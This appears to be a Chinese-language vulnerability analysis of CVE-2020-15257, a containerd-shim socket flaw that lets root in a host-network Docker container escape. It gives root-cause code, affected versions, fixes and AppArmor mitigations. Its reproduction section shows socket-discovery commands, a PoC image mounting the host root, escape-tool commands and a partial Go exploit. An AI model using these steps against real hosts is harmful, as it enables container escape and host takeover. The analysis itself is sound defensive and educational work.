CVE-2020-15257【host下利用containerd-shim API逃逸docker】
1 簡介
Containerd是一個開源的行業標準容器執行時,關注於簡單、穩定和可移植,同時支援Linux和Windows,用於Docker和Kubernetes的容器管理、執行。
漏洞編號:CVE-2020-15257
Containerd 是一個控制 runC 的守護程序,提供命令列客戶端和 API,用於在一個機器上管理容器。在特定網路條件下如host,攻擊者可通過在容器內訪問containerd-shim API,執行危險操作,從而實現Docker容器逃逸。
Containerd使用的抽象套接字僅使用UID做驗證,即任意UID為0 [root] 的程序均可訪問此API。又當使用docker run --net=host
此時容器內可以通過訪問Containerd的API,執行危險操作。
2 影響範圍
Containerd Project
受影響版本:
<=1.3.7
<=1.4.1
安全版本:
1.3.9
1.4.3
3 分析
3.1 基礎
-
Docker相關程序關係
在1.11版本中,Docker進行了重大的重構,由單一的Docker Daemon,拆分成了4個獨立的模組:Docker Daemon、containerd、containerd-shim、runC
A. Docker Daemon:面向前端使用者,負責和Docker client互動,對應的命令列工具是docker,提供了構建、拉取映象,管理、執行容器的大部分功能。
B. Containerd:為了相容OCI標準,Docker Daemon中的容器執行時及其管理功能剝離了出來,形成了containerd。docker對容器的管理和操作基本都是通過containerd完成的。它向上為Docker Daemon提供了gRPC介面,向下通過containerd-shim結合runC,實現對容器的管理控制。containerd還提供了可用於與其互動的API和客戶端應用程式ctr,所以實際上,即使不執行Docker Daemon,也能夠直接通過containerd來執行、管理容器。
C. containerd-shim:夾雜在containerd和runc之間,每次啟動一個容器,都會建立一個新的containerd-shim程序,它通過指定的三個引數:容器id、bundle目錄、執行時二進位制檔案路徑,來呼叫執行時的API建立、執行容器,持續存在到容器例項程序退出為止,將容器的退出狀態反饋給containerd。
D. runc:根據官方定義,runC是一個根據OCI(Open Container Initiative)標準建立並執行容器的CLI tool。Docker、containerd針對容器的執行相關操作,最終將落實到runc上來實現。 -
Unix套接字
在Linux系統中,有一種Unix域套接字,可以用於同一個主機上的程序之間進行通訊,它的API呼叫方法和普通的TCP/IP的套接字一樣,也是呼叫socket函式建立一個套接字,域設定成AF_UNIX,套接字的型別可以是流套接字(SOCK_STREAM)和資料報套接字(SOCK_DGRAM):
socket(AF_UNIX, SOCK_STREAM, 0); // Unix域流套接字
socket(AF_UNIX,SOCK_DGRAM, 0); // Unix域資料報套接字
在呼叫socket()函式獲得新建立的Unix域套接字的檔案描述符之後,再呼叫bind()函式將它繫結到一個本地地址上,此時需要建立並初始化一個sockaddr_un結構體,如下所示:
struct sockaddr_un {
sa_family_t sun_family;
char sun_path[108];
}
第一個欄位需要設定成“AF_UNIX”,第二個欄位表示的是一個路徑名,它分為兩種:
A. 普通的檔案路徑:它是一個合法的Linux檔案路徑,以NULL結尾。在繫結一個Unix域套接字時,會在檔案系統中的相應位置上建立一個檔案,當不再需要這個Unix域套接字時,可以使用remove()函式或者unlink()函式將這個對應的檔案刪除。如果在檔案系統中,已經有了一個檔案和指定的路徑名相同,則繫結會失敗。
B. 抽象名字空間路徑:抽象名字空間路徑以NULL開始,後面可以跟任何資料,甚至可以是NULL,可以不以NULL結尾。相對於普通的檔案路徑,這種地址在檔案系統上並沒有實際的檔案與它相對應,也就是說,它不會在檔案系統中創建出一個新的檔案。在Unix域套接字的檔案描述符關閉的時候就會自動消失,所以無需擔心與檔案系統中已存在的檔案產生命名衝突,也不需要在使用完套接字之後刪除附帶產生的這個檔案。
- docker網路模式
在使用docker run命令建立並執行容器時,可以使用--network選項指定容器的網路模式。Docker有以下4種網路模式:
A. none:這種模式下容器內部只有loopback迴環網路,沒有其他網絡卡,不能訪問外網,完全封閉的網路;
B. container:指定一個已經存在的容器名字,新的容器會和這個已經存在的容器共享一個網路名稱空間,IP、埠範圍一起在這兩個容器中也可共享;
C. bridge:這是docker預設的網路模式,會為每一個容器分配網路名稱空間,設定IP,保證容器內的程序使用獨立的網路環境,使得容器和容器之間、容器和主機之間實現網路隔離;
D. host:這種模式下,容器和主機已經沒有網路隔離了,它們共享同一個網路名稱空間,容器的網路配置和主機完全一樣,使用主機的IP地址和埠,可以檢視到主機所有網絡卡資訊、網路資源,在網路效能上沒有損耗。但也正是因為沒有網路隔離,容器和主機容易產生網路資源衝突、爭搶,以及其他的一些問題。本文所述漏洞也是在這種模式下產生的。
3.2 漏洞成因
前文所述,每次啟動一個容器時,containerd會建立一個新的containerd-shim程序,由containerd-shim程序(而不是containerd)來直接控制容器的整個生命週期。
containerd在建立containerd-shim之前,會建立一個Unix域套接字,設定的是抽象名字空間路徑:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/linux/bundle.go#L136
136 func (b *bundle) shimAddress(namespace string) string {
137 d := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
138 return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d))
139 }
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/client/client.go#L217
217 func newSocket(address string) (*net.UnixListener, error) {
218 if len(address) > 106 {
219 return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)
220 }
221 l, err := net.Listen("unix", "\x00"+address)
222 if err != nil {
223 return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)
224 }
225
226 return l.(*net.UnixListener), nil
227 }
注意221行中,address前面加上了一個”\x00”,這個就表示抽象名字空間路徑的Unix域套接字。
containerd傳遞Unix域套接字檔案描述符給containerd-shim。containerd-shim在正式啟動之後,會基於父程序(也就是containerd)傳遞的Unix域套接字檔案描述符,建立gRPC服務,對外暴露一些API用於container、task的控制:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto#L18
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
}
此時,containerd-shim做為server向外提供服務,containerd做為client,呼叫containerd-shim提供的API實現對容器的間接管理。
抽象Unix域套接字沒有許可權限制,所以只能靠連線程序的UID、GID做訪問控制,限定了只能是root(UID=0,GID=0)使用者才能連線成功。
https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80
80 // UnixSocketRequireSameUser resolves the current effective unix user and returns a
81 // UnixCredentialsFunc that will validate incoming unix connections against the
82 // current credentials.
83 //
84 // This is useful when using abstract sockets that are accessible by all users.
85 func UnixSocketRequireSameUser() UnixCredentialsFunc {
86 euid, egid := os.Geteuid(), os.Getegid()
87 return UnixSocketRequireUidGid(euid, egid)
88 }
通過訪問/proc/net/unix檔案,可以獲取到當前網路名稱空間下所有的Unix域套接字資訊。
在預設情況下,docker run啟動的容器的網路模式是bridge,容器和主機之間實現了網路隔離,所以在容器內部讀取/proc/net/unix檔案,看不到任何資訊,如下所示:
[root@centos ~]# docker run -ti --rm busybox
/ # cat /proc/net/unix
Num RefCount Protocol Flags Type St Inode Path
/ #
但是在host模式下,由於容器和主機共享同一個網路名稱空間,容器能訪問到主機中的所有網路資源,所以在容器內部讀取/proc/net/unix檔案,顯示的就是真實主機中的資訊,如下所示:
[root@centos ~]# docker run -ti --rm --network=host busybox
/ # cat /proc/net/unix
Num RefCount Protocol Flags Type St Inode Path
......................................................................................
ffff8fccfce39980: 00000003 00000000 00000000 0001 03 19728
ffff8fccfce35940: 00000003 00000000 00000000 0001 03 19713
ffff8fccdc4dd940: 00000003 00000000 00000000 0001 03 30927
ffff8fccfce41100: 00000003 00000000 00000000 0001 03 19756
ffff8fccf6003fc0: 00000003 00000000 00000000 0001 03 15925
......................................................................................
ffff8fccdc590cc0: 00000003 00000000 00000000 0001 03 39217 @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
......................................................................................
ffff8fccdc4df2c0: 00000003 00000000 00000000 0001 03 28826 /run/containerd/containerd.sock
......................................................................................
ffff8fccdc4dcc80: 00000003 00000000 00000000 0001 03 39197 /var/run/docker.sock
......................................................................................
- /var/run/docker.sock:Docker Daemon監聽的Unix域套接字,用於Docker client之間通訊
- /run/containerd/containerd.sock:containerd監聽的Unix域套接字,Docker Daemon、ctr可以通過它和containerd通訊
- @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:這個就是上文所述的,containerd-shim監聽的Unix域套接字,containerd通過它和containerd-shim通訊,控制管理容器。
/var/run/docker.sock
、/run/containerd/containerd.sock
這兩者是普通的檔案路徑,雖然容器共享了主機的網路名稱空間,但沒有共享mnt名稱空間,容器和主機之間的磁碟掛載點和檔案系統仍然存在隔離,所以在容器內部仍然不能通過/var/run/docker.sock
、/run/containerd/containerd.sock
這樣的路徑連線對應的Unix域套接字。
但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
這一類的抽象Unix域套接字不一樣,它沒有依靠mnt名稱空間做隔離,而是依靠網路名稱空間做隔離,也就是說,host模式下,容器共享了主機的網路名稱空間,也就能夠去連線@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
這一類的抽象Unix域套接字。
而且在預設情況下,容器內部的程序都是以root使用者啟動的,所以也能通過UnixSocketRequireSameUser的校驗。
在這兩者的共同作用下,容器內部的程序就可以像主機中的containerd一樣,連線containerd-shim監聽的抽象Unix域套接字,呼叫containerd-shim提供的各種API,從而實現容器逃逸。
3.3 個人總結
-
containerd-shim提供的API能實現對容器的間接管理
-
containerd-shim監聽的Unix域套接字僅對程序的UID做限制,限定了只能是root(UID=0,GID=0)使用者才能連線成功
-
當容器使用host模式啟動時,由於容器和主機共享同一個網路名稱空間,容器能訪問到主機中的所有網路資源,所以容器內的程序能夠獲取並連線containerd-shim監聽的抽象Unix域套接字
基於以上三點,當攻擊者在host模式且有漏洞的容器內,提權至root後,可以通過cat /proc/net/unix | grep 'containerd-shim' | grep '@'
獲取containerd-shim監聽的Unix域套接字,並連線它來呼叫containerd-shim提供的API,進而逃逸容器
4 復現
4.1 檢測
- 本地自測
一看版本,二看能否獲取套接字
sudo docker run -itd --network=host ubuntu:latest /bin/bash
docker exec -it 33bebb0e2d3c /bin/bash
cat /proc/net/unix | grep 'containerd-shim' | grep '@'
可看到抽象名稱空間Unix域套接字,根據漏洞描述通過圖片中的抽象名稱空間Unix域套接字可訪問dockerd-shim rpc api
- 也可使用小佑科技提供的POC映象
sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host dosecteam/pocs:CVE-2020-15257
4.2 利用
非完整的利用EXP,來自小佑科技,期待大佬補全
參考containerd官網原始碼,可以在容器內訪問到該socket檔案。然後可啟動一個新的容器,該容器掛載宿主機根目錄到容器內的/host目錄,即可實現對宿主機完全讀寫,達到容器逃逸的目的。
package main
import (
"fmt"
"net"
"os"
"regexp")
func getshimunixpath() (string, error) {
file, err := os.Open("/proc/net/unix")
if err != nil {
return "", err
}
var b []byte = make([]byte, 0x1fff)
file.Read(b)
defer file.Close()
socklist := string(b)
regString := "/containerd-shim/moby/[a-f 0-9]{64}/shim.sock"
reg, _ := regexp.Compile(regString)
path := reg.FindString(socklist)
if path == "" {
err = fmt.Errorf("no sock file found")
return "", err
}
path = "\x00" + path
return path, err
}
func main() {
shimunixpath, err := getshimunixpath()
if err != nil {
fmt.Println(err)
return
}
conn, err := net.Dial("unix", shimunixpath)
if err != nil {
fmt.Println(err)
return
}
//do something with this connection
//此處省略關鍵資訊,自行腦補
//此處省略關鍵資訊,自行腦補
//此處省略關鍵資訊,自行腦補
defer conn.Close()
}
4.3 整合工具
https://github.com/Xyntax/CDK/wiki/Evaluate:-Net-Namespace
./cdk_linux_amd64 evaluate --full
沒測出來
https://github.com/PercussiveElbow/docker-escape-tool
./docker-escape auto
5 修復與防禦
修復:
- 升級 containerd 至最新版本。
containerd >= 1.4.3
containerd >= 1.3.9 - 如果執行的容器配置易受攻擊,則可以通過新增類似於
deny unix addr=@**
策略的行來拒絕通過AppArmor訪問所有抽象套接字。
防禦:
在沒有打補丁的情況下,可以採取以下一些防禦措施:
- 容器的網路模式儘量不採用host模式,儘量實現嚴格的容器和主機名稱空間的隔離
- 以非root使用者執行容器
- 採用AppArmor、SELinux,限制容器內部程序對抽象Unix域套接字的訪問
最佳實踐是使用一組減少的特權,一個非零的UID和隔離的名稱空間來執行容器。強烈建議不要與主機共享名稱空間。
6 參考
docker 容器逃逸漏洞(CVE-2020-15257)風險通告
【首發】CVE-2020-15257 容器逃逸漏洞復現與解析附Poc
host模式容器逃逸漏洞(CVE-2020-15257)技術分析
https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/